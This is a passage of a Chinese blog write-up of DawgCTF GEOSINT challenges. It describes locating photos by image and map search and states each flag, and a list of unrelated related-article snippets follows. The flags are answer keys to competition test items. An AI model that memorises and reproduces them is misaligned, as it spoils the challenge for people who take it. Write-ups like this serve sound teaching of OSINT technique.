多条线索告诉我们,这个地方很像之前搜到过的Baltimore National Aquarium,提交的时候也提示我们就在不远处,所以最终地方就是水族馆:Marine Mammal Pavilion
flag:DawgCTF{montereybay_itisnot}
GEOSINT - chall8
从图中我们可以得到一些关键信息,Cleveland 3800E AVE 8th,这些信息,如果我们想当然的认为这是 克利夫兰(美国城市)的时候,那我们将永远也找不到答案,这就像是在天津也有河南路,但不代表河南等于天津
看一下地图就知道二者差多远了,但一开始我就是沿着错误的方向去寻找
而且极具迷惑性的地方是我在克利夫兰搜出来的别墅区地方,也有one way标志,以至于让我以为就是这附近
但是我一直提交不对,招不到正确的地方,让我再次使用google搜索引擎来搜索我之前拿到的关键词:cleveland 3800 E AVE 8th,在图片里,我找到一处地方和目标建筑无简直一模一样
当我点进去的时候,我发现这好像是一个卖房子的网站,但不重要,它标记了位置在堪萨斯城(美国一座城市):803 Cleveland Ave, Kansas City, MO 64124
在这里我找到了具体的十字路口,所以在提交的时候也正确获得了flag
flag:DawgCTF{goodol’missouray}
GEOSINT - chall9
点进这个网站,看到这个地方是日本的函馆山顶夜景,于是去google map 搜索一下地方,然后直接找到目标
flag:DawgCTF{UwUitsaflag}
GEOSINT - chall11
小屋和旁边的企鹅都暗示这是南极洲,并且以图搜图第一个就能搜索到地方
点开该网站,发现这个位置在Peterman Island, near the Argentine research hut. Antarctic Peninsula, Antarctica
在谷歌地图上寻找的时候,能看到图片,从而具体定位到位置flag:DawgCTF{looksatthepenguinz!}
相关文章:
dawgctf 2025 writeup
dawgctf 2025 writeup 赛事信息pwnJust Parry Lol miscDont Touch My FoneThe BirdsMystery Signal IinternsProjectSuspicious scriptSpectral SecretsCaddyshack forensicsKeeping on ScheduleJust Packets CryptoCipher For Good osintEs ist alles in ButterLook Long and …...
机器学习(神经网络基础篇)——个人理解篇6(概念+代码)———参数优化篇
1 在声明一个类中,构建一个属于类的函数,前面为什要加上“self”? 就像下面这一串代码: class TwoLayerNet:def __init__(self, input_size, hidden_size, output_size,weight_init_std0.01):# 初始化权重self.params {}self.p…...
AI速读:解锁LLM下Game Agent的奇妙世界
在 AI 浪潮中,大语言模型(LLMs)正重塑游戏智能体格局。想知道基于 LLMs 的游戏智能体如何运作,在各类游戏中有何惊艳表现,未来又将走向何方? 大型语言模型(LLMs)的兴起为游戏智能体的…...
个人所得税
文章目录 一、名词解释二、个人所得税计算方法 (举例)1.累计预扣预缴应纳税所得额、本期应预扣预缴税额2.个人所得税预扣率表一3.个人所得税计算举例 三、专项附加扣除政策介绍四、年度汇算清缴政策介绍五、常见问答 一、名词解释 累计预扣法是指扣缴义务人在一个纳税年度内预…...
DEA-Net:基于细节增强卷积和内容引导注意力的单图像去雾
IEEE TIP 2024 | DEA-Net:基于细节增强卷积和内容引导注意力的单图像去雾 DEA-Net: Single image dehazing based on detail-enhanced convolution and content-guided attention paper name: DEA-Net: Single image dehazing based on detail-enhanced convolutio…...
StringEscapeUtils:给你的字符串穿上“防弹衣“——转义工具类深度解析
各位代码勇士们好!今天我们要聊的是Apache Commons Lang3中的StringEscapeUtils工具类。如果说StringUtils是瑞士军刀,那StringEscapeUtils就是你的字符串保镖,专门负责在各种危险场合保护你的字符串安全! 一、为什么需要字符串转…...
Sharding-JDBC 系列专题 - 第二篇:广播表(Broadcast Tables)
Sharding-JDBC 系列专题 - 第二篇:广播表(Broadcast Tables) 本系列专题旨在帮助开发者深入掌握 Sharding-JDBC,一个轻量级的分布式数据库中间件。本篇作为系列的第二篇文章,将详细讲解 广播表(Broadcast Tables) 的概念、配置、使用场景、工作原理以及实战案例。广播表…...
PySide6 GUI 学习笔记——常用类及控件使用方法(常用类矩阵QRect)
文章目录 一、构造与初始化方法二、坐标与尺寸获取三、坐标与尺寸设置四、几何运算方法五、移动与调整方法六、状态判断方法七、类型转换方法八、操作符重载九、静态方法十、特殊方法附录方法速查表注意的问题交集和并集图解 📘 PySide6.QtCore.QRect 使用整数精度定…...
常见的页面报错
目录 1、 405报错,方法不允许 2、 404报错,未找到资源 404报错的两种可能: 1、前端找不到后端的资源: 2、后端找不到返回的资源: 3、 400报错,错误的请求 后端返回的数据类型与前端不匹配 前端传递的参…...
人机共跑,马拉松人型机器人同跑
马拉松比赛对人形机器人来说,是一场对硬件极限的测试,涉及机械、传感器、能源管理等多个方面。用户问的是硬件方面的考察和改进,这意味着我的回答需要聚焦于硬件性能,而不是算法或软件的优化。 对人形机器人硬件的考研 机械结构与…...
ES6 第一讲 变量定义 堆与栈 字符串的扩展和数值型的扩展
文章目录 1.ES6变量定义2.ES6堆和栈3.字符串的扩展3.1 模板字符串3.2 判断是否以指定的字符串开头或结尾3.3 字符串重复输出3.4 填充方法3.5 去除前后字符串空格3.6 返回参数指定位置的字符 4. 数值型的扩展4.1 二进制0B 八进制0O4.2 判断是否是一个无穷大的数字 (判…...
Linux 动、静态库的实现
前言:当我们写了一段代码实现了一个方法,如果我们不想把方法的实现过程暴露给别人看,可以把代码打包成一个库,其中形成后缀为.a的是静态库,后缀为.so的为动态库;当别人想使用你的方法时,把打包好…...
linux多线(进)程编程——(9)信号量(二)
前言 上一篇文章我们讲解了信号量的基础用法,这一篇文章我们承接上面的内容,给大家进一步提升对信号量的理解。如果没有看过上一篇文章,请大家移步linux多线(进)程编程——(9)信号量(一) 案例…...
编码器---正交编码器
一、正交编码器定义与核心作用 正交编码器(Orthogonal Encoder),又称增量式编码器,是一种通过输出两路相位差90的脉冲信号(A相、B相)来测量旋转角度、速度和方向的传感器。其核心优势是通过A/B相的脉冲顺序…...
【HDFS入门】HDFS故障排查与案例分析:从日志分析到实战解决
目录 1 HDFS故障排查概述 2 三大常见故障类型解析 2.1 块丢失问题处理流程 2.2 副本不足问题架构 2.3 DataNode无法启动诊断 3 日志分析实战技巧 3.1 NameNode日志分析框架 3.2 DataNode日志分析流程 4.1 实战案例分析 4.2 集群性能突然下降 4.2 数据读写异常处理 …...
爆肝整理!Stable Diffusion的完全使用手册(二)
继续介绍Stable Diffusion的文生图界面功能。 往期文章详见: 爆肝整理!Stable Diffusion的完全使用手册(一) 下面接着对SD的文生图界面的进行详细的介绍。本期介绍文生图界面的截图2,主要包含生成模块下的采用方法、调度类型、迭…...
经典算法 表达式求值
表达式求值 问题描述 给你一个只包含、-、*、/、0、1、2、3、4、5、6、7、8、9的字符串求出该字符串所代表的表达式的值。这里的除法,为了简便,为整数除法,所以答案一定也是一个整数。保证0不作被除数。 示例输入 (16*(141))((13)*(74))*…...
【Java】接口interface学习
参考资料::黑马程序员入门到飞起上 1 概述 在学习完抽象类后,我们了解到抽象类中既可以包含抽象方法,也能有普通方法、构造方法以及成员变量等。而接口则是一种更为彻底的抽象形式。在JDK7及之前的版本中,接口内全部为抽象方法&…...
数据结构实验7.1:二叉树的遍历
文章目录 一,实验目的二,实验描述三,基本要求四,算法分析五,实验操作六,示例代码七,运行效果一,实验目的 深入理解树与二叉树的基本概念,包括节点、度、层次、深度等,清晰区分二叉树与一般树的结构特点,为后续学习和应用打下坚实基础。熟练掌握用递归方法实现二叉树…...
seata db模式,nacos注册中心,spring boot ,spring cloud ,jdk1.8 完成的配置步骤
1. 环境准备 确保以下环境已经安装并正常运行: JDK 1.8MySQL(或其他支持的数据库)Nacos Server(用于注册中心和配置中心)Seata Server 2. 配置 Seata Server (1) 下载并解压 Seata 从 Seata 官方 GitHub 下载最新版…...
C++进阶-多态
文章目录 C进阶--多态概念多态的定义及实现多态的构成条件实现多态的两个重要条件虚函数虚函数的重写及覆盖协变析构函数的重写(面试被问及最好需要举例说明)override和final关键字重载,重写(覆盖),隐藏&am…...
Linux教程-常用命令系列三
文章目录 1. 网络安全常用命令1. su (Switch User)2. chmod (Change Mode)3. chown (Change Owner)4. ps (Process Status)5. who6. top7. free8. kill9. gedit10. find总结 2. 字符串显示命令2.1 基本语法2.2 常用选项2.3 核心功能与示例2.3.1 输出字符串2.3.2 输出变量2.3.3 …...
GIS开发笔记(9)结合osg及osgEarth实现三维球经纬网格绘制及显隐
一、实现效果 二、实现原理 按照5的间隔分别创建经纬线的节点,挂在到组合节点,组合节点挂接到根节点。可以根据需要设置间隔度数和线宽、线的颜色。 三、参考代码 //创建经纬线的节点 osg::Node *GlobeWidget::createGraticuleGeometry(float interv…...
nuxt3前端开发以及nuxt3和nuxt2项目的详细差异点
以下是 Nuxt 3 前端开发的详细指南以及与 Nuxt 2 的核心差异总结,涵盖配置、开发模式、API 变化等关键方面: 一、Nuxt 3 前端开发核心要点 1. 项目初始化 # Nuxt 3 npx nuxi init <project-name> cd <project-name> npm install npm run dev# Nuxt 2 (对比) np…...
Android学习总结之APK打包流程
一、预处理阶段(编译前准备) 1. AIDL 文件处理(进程间通信基础) 流程: 用于实现 Android 系统中不同进程间的通信(IPC)。在项目构建时,AIDL 编译器会将 .aidl 文件编译为 Java 接口…...
java面试篇(常见的集合底层原理)
集合 1、arraylist源码分析 三种构造方法: 扩容的逻辑: 2、ArrayList的底层实现原理是什么? ArrayList listnew ArrayList(10)中的list扩容几次 3、如何实现数组和List之间的转换 4、LinkedList和arraylist的区别 5、hashmap的实现原理 二叉…...
RAG框架精选2
原文链接:https://i68.ltd/notes/posts/20250406-llm-rag2/ 清华Hyper-RAG 使用超图驱动的RAG对抗LLM幻觉论文链接:https://arxiv.org/pdf/2504.08758项目仓库:https://github.com/iMoonLab/Hyper-RAG清华Hyper-RAG:利用超图建模高阶关系,让DeepSeek/Q…...
Redis进阶学习
什么是Redis? Redis是一个key-value结构的非关系型数据库,将数据存储在内存中,结构简单(五种数据结构:string、list、set、zset、hash),数据读写速度快,还可以将数据持久化到硬盘上。…...
【读书笔记·VLSI电路设计方法解密】问题63:为什么可测试性设计对产品的财务成功至关重要
可测试性设计至关重要,因为我们不希望将劣质或故障部件交付给客户。向客户交付过多不良部件意味着财务灾难,更会损害企业声誉并导致商业机会流失。 若设计中未嵌入可测试性设计(DFT),区分良品与不良品的唯一方法就是由应用工程师或客户在实际应用环境中测试芯片。此时芯片…...
Federated Weakly Supervised Video Anomaly Detection with Multimodal Prompt
标题:联邦弱监督视频异常检测的多模态提示方法 原文链接:https://ojs.aaai.org/index.php/AAAI/article/view/35398 源码链接:https://github.com/wbfwonderful/Fed-WSVAD 发表:AAAI-2025 摘要(Abstract) …...
计算机视觉与深度学习 | LSTM原理,公式,代码,应用
LSTM(长短期记忆网络)详解 一、原理 LSTM(Long Short-Term Memory)是RNN的改进版本,通过引入门控机制(输入门、遗忘门、输出门)和细胞状态(Cell State),有效解决传统RNN的梯度消失/爆炸问题,擅长捕捉长距离依赖关系。 核心思想: 细胞状态(C_t):贯穿整个时间步…...
UI界面工程,如何使用控制台
我们通常会使用print函数向控制台输出调试信息。但创建UI界面工程时,默认不会显示控制台。 通过如下方法切换到控制台 项目属性—链接器—系统—子系统—窗口改为控制台...
mysql——基础知识
关键字大小写不敏感 查看表结构中的 desc describe 描述 降序中的 desc descend 1. 数据库的操作 1. 创建数据库 create database 数据库名;为防止创建的数据库重复 CREATE DATABASE IF NOT EXISTS 数据库名;手动设置数据库采用的字符集 character set 字符集名;chars…...
UE虚幻4虚幻5动画蓝图调试,触发FellOutOfWorld事件和打印输出,继续DeepSeek输出
找到了一个pdf,本来想写个翻译的,但还是算了,大概看了下,这类文档很全面,内容很多,但都不是我要的,我想要一个动画蓝图,搜索Montage,或者Anim 只占了一行(几百…...
52单片机LED实验
文章目录 前言点亮一个LEDLED闪烁 LED灯亮灭交替LED流水灯 前言 我所用的板子是普中的STC89C52RC,创建文件的过程中如果你发现keil文件找不到单片机依赖,那怎么办呢 下面从创建新项目讲起 首先打开keil软件,点击project new一个新的projec…...
【C++详解】C++入门(一)命名空间、缺省参数、函数重载
文章目录 一、命名空间命名空间的基本特性命名空间的使用 二、C输入输出用法三、缺省参数(默认参数)定义用法 四、函数重载 一、命名空间 命名空间的基本特性 #include <stdio.h> #include <stdlib.h>int rand 10;int main() {// 编译报错:error C23…...
AWS Linux快速指南:5分钟搭建多用户图形界面
一、概述 本指南将帮助您在AWS上快速部署一个支持多用户、带图形界面和浏览器的Linux环境。我们将使用Ubuntu Server作为基础,配合轻量级的Xfce桌面环境和VNC服务。同时,我们还将提供不同用户规模下的实例规格推荐。 二、实例规格推荐 根据您的用户规模,我们推荐以下EC2实例…...
kotlin,编码、解码
kotlin写程序确实简洁,就是函数式编程对我这种用惯了过程的,换思想有难度。package org.exampleimport java.io.File import java.io.FileNotFoundExceptionval byteToHanzi mapOf(0x00 to "凡", 0x01 to "周", 0x02 to "张&q…...
从零创建 Docker 镜像(基于 OCI 格式)
更现代的 OCI 镜像格式,采用了 OCI Image Format Specification,其中文件引用使用 blobs/sha256/<hash> 的形式,层和配置存储在 blobs/sha256/ 目录下,并且包含 LayerSources 字段。这种格式在较新的 Docker 版本和 OCI 兼容…...
JavaScript 版本号比较
问题描述: 实现 : <script>const compare function(v1,v2){const arr1 v1.split(.)const arr2 v2.split(.)for(let i 0;i<arr1.length||i<arr2.length;i){const a arr1[i]||0const b arr2[i]||0if(a>b){return 1}else if(a<b){…...
MySQL为什么默认使用RR隔离级别?
大家好,我是锋哥。今天分享关于【MySQL为什么默认使用RR隔离级别?】面试题。希望对大家有帮助; MySQL为什么默认使用RR隔离级别? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 MySQL 默认使用 RR(Repeatable Read)…...
第37讲|AI+农业气象建模:预测极端天气对农业的影响
目录 ✨ 导语:天气不可控,但影响可以预测 📦 一、数据准备:融合农业与气象 ⚡ 二、极端天气如何“定义”? 🔧 三、模型选择与结构设计 🔁 时间序列模型:LSTM 🎯 非时序模型:XGBoost / LightGBM 🧪 四、案例实战:用LSTM预测小麦产量下降风险(受极端天气…...
(done) 吴恩达版提示词工程 1. 引言 (Base LLM 和 Instruction Tuned LLM)
url: https://www.bilibili.com/video/BV1Z14y1Z7LJ/?spm_id_from333.337.search-card.all.click&vd_source7a1a0bc74158c6993c7355c5490fc600 LLM 有两种: 1.基础 LLM,通过文本训练数据预测后面的内容。 这种 LLM 当你给它提问:What is…...
Vue如何实现样式隔离
1. 使用 CSS Modules CSS Modules 允许你在 Vue 组件中定义局部作用域的 CSS,这样可以避免全局样式的冲突 步骤如下: 在你的 Vue 组件中,创建一个 <style> 标签并添加 module 属性。 <template><div :class"$style.c…...
Sentinel源码—6.熔断降级和数据统计的实现二
大纲 1.DegradeSlot实现熔断降级的原理与源码 2.Sentinel数据指标统计的滑动窗口算法 2.Sentinel数据指标统计的滑动窗口算法 (1)滑动窗口介绍 (2)StatisticSlot使用滑动窗口算法进行数据统计 (1)滑动窗口介绍 一.滑动窗口原理 滑动窗口不会指定固定的时间窗口起点与终点…...
B+树删除和测试
B树删除和测试 5.1 高级接口:B 树作为键值存储 在本章中,我们将实现 B 树的高级接口,使其能够作为键值存储(Key-Value Store)使用。这些接口包括插入和删除操作,并处理根节点的维护。 1. 插入接口 1.1 I…...
常用算法解析:从基础排序到图论应用
一、算法基础与设计原则 算法是计算机解决问题的核心工具,其五大基本特性决定了程序的可靠性: 有穷性:算法必须能在有限步骤内终止确定性:每步操作无歧义可行性:可被计算机执行输入输出:具备数据交互能力…...
Java Web项目(一)
框架 java web项目总工分为两部分:客户端(前端)和服务端(后端) 客户端发起请求,服务端接受请求并进行处理 发起请求的方式:from表单、jQuery ajax from表单 造成全局的变化,在发…...
兴达易控DP主站网关数据映射快速配置案例
兴达易控DP主站网关数据映射快速配置案例 在工业自动化的领域,不同通讯协议之间的转换是常见的需求。特别是Profibus DP与Modbus-RTU这两种广泛应用于不同系统和设备的通讯协议,它们之间的数据转换显得尤为重要。本文将详细探讨兴达易控Profibus DP主站…...
Tailwindcss 入门 v4.1
以 react 为例,步骤如下: npm create vitelatest my-app -- --template react 选择 React 和 JavaScript 根据上述命令的输出提示,运行以下命令 cd my-app npm install npm run dev 一个 React App 初始化完成。 安装 Tailwindcss theme …...